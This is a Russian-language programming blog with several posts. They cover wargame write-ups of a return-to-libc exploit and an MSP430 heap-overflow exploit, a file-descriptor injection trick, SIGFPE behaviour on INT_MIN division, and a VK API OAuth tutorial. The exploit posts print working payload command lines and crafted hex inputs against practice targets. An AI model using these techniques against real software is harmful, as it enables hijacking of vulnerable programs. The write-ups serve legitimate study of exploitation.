четверг, 16 октября 2014 г.

File Descriptors

Снова абстрактная ситуация : есть приложение, некоторый функционал которого работает с файловым дескриптором полученным как параметр извне. Другими словами, это приложение интерпретирует целое число как номер файлового дескриптора, предположим, мы можем управлять данным параметром и хотим, чтобы приложение считывало из данного дескриптора наши подставные данные.

Проверки в коде опущены по очевидным причинам.
Как известно, после системного вызова fork() дочерний процесс наследует открытые файловые дескрипторы родительского процесса. Пусть в данном случае родительским процессом будет командная оболочка.

Для того чтобы создать файловый дескриптор с произвольным номером (в диапазоне от 3-1023 ) можно выполнить следующую команду :
exec N<> some_file
Где N - номер файлового дескриптора и some_file - файл, который будет ассоциирован с данным дескриптором. Иными словами, мы создаем дескриптор для чтения и записи (использован '<>') файла some_file с номером N.
Убедиться в том, что файловый дескриптор создан можно посмотрев содержимое дирректории
ls /proc/self/fd
Далее просто перенаправляем данные в открытый дескриптор
echo 'some cool data' >&N
Следует понимать, что манупулируя дескриптором, мы на самом деле работаем с содержимым файла с которым дескриптор ассоциирован.
Закрыть файловый дескриптор можно например так
exec N>&-

Теперь вернемся к первоначальному коду, зная как манипулировать дескрипторами, мы можем легко заставить приложение прочитать данные из необходимого нам источника.
exec 3<> some_file && echo 'this is our data' >&3 && ./example 3 && exec 3>&-

вторник, 7 октября 2014 г.

Return to Libc на примере одного Wargame

Опишу простейший вариант данного типа атак.
В первую очередь уязвимый код : (пример взят из IO smashthestack)

Ошибка здесь очевидна - отсутствует проверка размера копируемых данных.
Получаем ROP, но возникает вопрос, куда делать возврат? Стек с нашими данными вполне может быть неисполняемым. В такой ситуации можно использовать Return to Libc.

Итак, для того чтобы осуществить атаку, нам необходимо знать следующие вещи :
  • Адрес функции System из библиотеки Libc
  • Адрес строки, которую передадим System в качестве параметра
Небольшое отступление, так как сейчас мы рассматриваем самый простой вариант данной атаки, то сделаем предположение о базовых адресах загрузки библиотек для уязвимого приложения - а именно о том, что они остаются постоянными при перезапусках.

Начнем по порядку.
Адрес функции можно получить загрузив приложение в отладчик (в данном случае GDB) 
(gdb) p system
$5 = {<text variable, no debug info>} 0xb7eaaf10 <system>
Со строкой все немного сложнее. В качестве строки-параметра System будем использовать переменную окружения. Определить переменную окружения можно например так :
export OWN_SHELL=/bin/sh
Программа сохраняет указатель на окружение в глобальной переменной environ.
(gdb) info variable environ
All variables matching regular expression "environ":

Non-debugging symbols:
0xb7fd0d64  __environ
0xb7fd0d64  _environ
0xb7fd0d64  environ
В данном случае, строка содержащая нужную нам команду является первой в массиве переменных окружения.
(gdb) x /s *environ
0xbffffe82:     "OWN_SHELL=/bin/sh"
В итоге получаем следующее
|---------------------------|-------------------|---------------|---------------| 
|          Data             |    0xb7eaaf10     | system-return |  0xbffffe8с   | 
|---------------------------|-------------------|---------------|---------------| 
Далее просто подбираем размер входного буфера, которого будет достаточно для перезаписи адреса возврата.
В результате получим такую строку для запуска приложения :
vuln `python -c 'print "a"*140 + "\x10\xaf\xea\xb7"+"\xDE\xAD\xBE\xAF"+"\x86\xfe\xff\xbf"'`
Для того, чтобы каждый раз при запуске не происходил segmentation fault можно создать нормальный
call-stack вручную, определив адрес возврата из System в Exit.
vuln `python -c 'print "a"*140 + "\x10\xaf\xea\xb7"+"\x50\xe5\xe9\xb7"+"\x86\xfe\xff\xbf"'`

пятница, 25 июля 2014 г.

Heap Overflow на примере одного Wargame

Использование ошибок связанных с переполнением кучи, обычно, задача довольно сложная, однако попался один простой пример, а если точнее задание на одном из wargames, который позволяет продемонстрировать технику просто и наглядно.

Итак, для начала, что имеется : процессор MSP430 (его архитектура команд довольно проста, для того чтобы понять суть происходящего, желательно прочитать вот этот мануал)

Так же имеется некоторая система аутентификации.

Дизассемблерный листинг приводить не буду, если интересно, просто дойдите до этого уровня на сайте игры, а весь рассказ будет в картинках :)

Пожалуй, начнем. Дамп по базовому адресу для динамически выделяемой памяти.
Сразу отмечаем несколько интересных значений (помните, порядок байт little-endian)
0x2408 - Адрес первого доступного блока
0x1000 - Общий допустимый размер выделяемой памяти
0x0001 - Память еще не выделялась
После первого выполнения функции malloc(0x10) дамп памяти будет уже выглядеть следующим образом (было выделено 0x10 байт памяти)
После второго выполнения malloc(0x10) (выделено еще 0x10 байт)
И после третьего вызова malloc(0x20) (выделено дополнительно 0x20 байт)
Можно заметить, что служебная информация делится на два типа : двусвязный список выделенных блоков и метаинформация, являющаяся заключительным блоком в цепочке.
Отличительной особенностью метаинформации является третья пара байт в структуре элемента списка. Рассмотрим эту структуру (размер каждого поля 2 байта).
0xADDR - Первым идет адрес предыдущего выделенного блока
0xADDR - Затем следующего выделенного блока
0xVALE - Третьим элементом является объем выделенной памяти в формате : (amount << 1) | 1
Однако, для метаинформации третье значение является объемом доступным для выделения.
0xVALE - Объем доступной для выделения памяти в формате : amount << 1
Именно по младшему биту и происходит отличие метаинформации от элемента списка.

При освобождении ранее выделенной памяти происходит процесс обратный, причем что интересно, если в данной системе пытаться освободить блок памяти, который является не последним в цепочке, то ничего не выйдет, блок по прежнему будет считаться занятым, но если, например, отметить блок в середине цепочки как содержащий метаинформацию, то вся последующая цепочка будет считаться освобожденной.

Из-за уязвимости в мехнизме обработки пользовательских данных мы получаем возможность перезаписать служебную информацию второго блока и блока содержащего метаинформацию.
Попытаемся реализовать ROP (return on pointer).

Итак, дизассемблированная функция free будет выглядеть следующим образом

Если внимательно посмотреть, то можно найти фрагменты особого внимания, то есть те, которые непосредственно позволят манипулировать содержимым памяти по указанным адресам.

Загружаем r13 значением, равным удвоенному размеру выделенного блока.
450e:  1d4f 0400      mov    0x4(r15), r13
4512:  3df0 feff      and    #0xfffe, r13
4516:  8f4d 0400      mov    r13, 0x4(r15)
Загружаем r12 значением, равным удвоенному размеру предыдущего блока, r14 ссылкой на предыдущий элемент.
451a:  2e4f           mov    @r15, r14
451c:  1c4e 0400      mov    0x4(r14), r12
И вот тут начинается интересное, дело в том, что служебный блок элемента списка мы контролируем, иными словами можем указать любой адрес в качестве адреса предыдущего блока, и любой размер текущего блока, ну а дальше то что нам и было нужно.
4524:  3c50 0600      add    #0x6, r12
4528:  0c5d           add    r13, r12
452a:  8e4c 0400      mov    r12, 0x4(r14)
r14 - указанный нами адрес, r13 - указанный нами размер блока, r12 - предыдущее значение по указанному нами адресу.
В стеке интересующий нас адрес возврата имеет смещение 0x439A, значит нужно отнять от него значение смещения размера блока (в данном случае равное 4) и получим адрес, который станет адресом предыдущего блока (0x4396). Предыдущее значение адреса возврата равняется 0x4440, размер служебной информации 0x6, также нужно отметить блок как элемент списка, для этого установив младший бит в 1, функция на которую нужно передать управление имеет адрес 0x4564, исходя из нехитрой математики получаем
block size = (0x4564 - 0x4440 - 6) | 1 = 0x11F
Остается одна небольшая хитрость, если за нашим блоком следует метаинформация, то произойдут дополнительные действия, которых нам нужно избежать, но так как содержимое метаинформации мы так же контролируем, достаточно будет пометить содержащий ее блок, как элемент списка и тогда, как ранее упоминалось, он будет пропущен.

В результате получаем следующие строки на вход (каждый символ здесь представлен в виде ascii hex-code)
name - 61616161616161616161616161616161964334241F01
pass - 626262626262626262626262626262621E2408249F1F
Дамп памяти будет выглядеть так
Выделены ключевые изменения.
А так будет выглядеть память перед возвратом из функции (выделен адрес возврата)

Конечно, это упрощенный пример и на практике все сложнее, но он дает базовые понятия о данном типе уязвимостей.

четверг, 6 февраля 2014 г.

Floating Point Exception

Все кто программировал на си, наверное, знакомы с таким понятием как сигналы, это один из механизмов IPC в POSIX совместимых операционных системах.
В данном случае речь пойдет конкретно об ошибках при вычислениях с плавающей точкой.

Для примера реализуем простую программу обрабатывающую SIGFPE :

Это демонстрационный пример и дабы не загромождать код, упустим некоторые проверки.
Начнем с вещей очевидных, что будет если передать вторым параметром 0 ?
bash -> ./sigfpe 1 0
SIGFPE catched!
Думаю всем понятно, почему все пошло именно по такому пути развития.

Теперь перейдем к чему-то более интересному и не всем известному.
Вот такой пример :
bash -> ./sigfpe -2147483648 -1
SIGFPE catched!
Почему произошло исключение? Давай-те взглянем, как представлено число -2147483648, данное число является минимальным отрицательным, которое можно представить в 32-х разрядном регистре.
-2147483648 -> 0x80000000 -> 1000 0000  0000 0000  0000 0000  0000 0000
Теперь о том, как происходит смена знака. Смена знака происходит инвертированием всех битов числа и добавления к получившемуся значению единицы. Это справедливо почти для всех чисел, кроме 0 и -2147483648

0x80000000       -> 1000 0000  0000 0000  0000 0000  0000 0000
NOT(0x80000000)  -> 0111 1111  1111 1111  1111 1111  1111 1111
ADD(1)           -> 1000 0000  0000 0000  0000 0000  0000 0000


0x00000000 -> 0000 0000  0000 0000  0000 0000  0000 0000
NOT (0)    -> FFFF FFFF  FFFF FFFF  FFFF FFFF  FFFF FFFF
ADD (1)    -> 0000 0000  0000 0000  0000 0000  0000 0000
Таким образом, число 2147483648 невозможно представить в 32-х разрядном регистре.

Интересный факт о функции abs(int) :
/* Return the absolute value of I.  */
int
abs (int i)
{
  return i < 0 ? -i : i;
}
Как уже была сказано, -INT_MIN = INT_MIN.

среда, 8 января 2014 г.

Java работа с API VK

Иногда возникает необходимость автоматизировать некоторые действия в какой-нибудь абстрактной, или не совсем абстрактной, социальной сети, такой как vk.com. Например, в последнее время были популярны обсуждения на тему скачивания своей аудиоколлекции на постоянные носители.
Здесь будем рассматривать только один частный случай - API для vk.com.
Итак, задача - собирать сообщения из интересующей группы, чтобы не загромождать кодом этот пост, построим лишь простой "скелет", для возможных будущих наработок.

Кратко о принципе работы интерфейса, предоставляемого разработчиками этой небезызвестной социальной сети :
  • Для работы через API вам потребуется stand-alone приложение, создать его можно вот здесь. Там все довольно просто, выбираете название и тип. Вообще говоря, создавать свое приложение вовсе не обязательно, можете и мое использовать - дело в том, что при дальнейшем запросе определенных прав для данного приложения, мы получим токен, и этот токен самому приложению известен не будет, следовательно, даже если вы используете мое приложение, я не смогу получить доступ к вашей конфиденциальной информации. 
  • Дальше, для авторизации будет использоваться протокол OAuth, все что нужно сделать на этом шаге - создать правильную строку запроса, об этом расписано вот тут.
    https://oauth.vk.com/authorize? 
     client_id=APP_ID& 
     scope=PERMISSIONS& 
     redirect_uri=REDIRECT_URI& 
     display=DISPLAY& 
     v=API_VERSION& 
     response_type=token 
    APP_ID - идентификатор приложения, которое вы создали на предыдущем шаге.
    PERMISSONS - те права, которые вы хотел бы предоставить вашему приложению, их список можно найти вот тут, там же есть и пример.
    REDIRECT_URI - страничка, на которую вас перенаправит, после предоставления прав, для нашего случая можно использовать :
    https://oauth.vk.com/blank.html
    
    В адресной строке будет токен, который, в общем, и является конечной целью.
    Остальный опции сейчас не представляют для нас интереса, по-этому просто перечислю выбранные для них значения :
    DISPLAY - page
    API_VERSION - 5.0
    В response_type указываем, что нам нужен только токен.
  • На этом шаге у нас уже есть необходимый токен, все что теперь осталось сделать - открыть документацию на интересующий нас метод API и составить верный запрос.
    Итак, мы планируем запросить все записи со стены в определенной группе, для этого идеально подойдет wall.get, сам запрос должен выглядеть следующим образом :
    https://api.vk.com/method/METHOD_NAME?PARAMETERS&access_token=ACCESS_TOKEN
    
    METHOD_NAME = WALL.GET
    Перечислю нужные параметры :
    domain - краткое название группы, сейчас все пытаются "выделиться" и заменюят ID группы в адресной строке, на что-то более-менее читабельное. (если же к целевой группе нужно обратиться по идентификатору, то тут вам возможно подойдет owner_id)
    count - количество возвращаемых записей
    access_token - тот самый токен, что мы уже получили. Тут есть некоторая тонкость, к стене открытой группы можно получить доступ и без указания уникального токена, но для того, чтобы получить записи из закрытой группы, в которой состоим, нужно обязательно указать токен, рассматривайте его как пропуск.
  • Вот в общем и все. Можно приступить к написанию кода.
Получаемый ответ будет в формате JSON, перечислю библиотеки, которые будем использовать :
  1. json-simple
  2. commons-io
  3. HttpClient
Из HttpClient нам понадобятся - httpcore, httpclient, commons-logging
Ниже приведу непосредственно код, он прост и думаю всем будет понятен.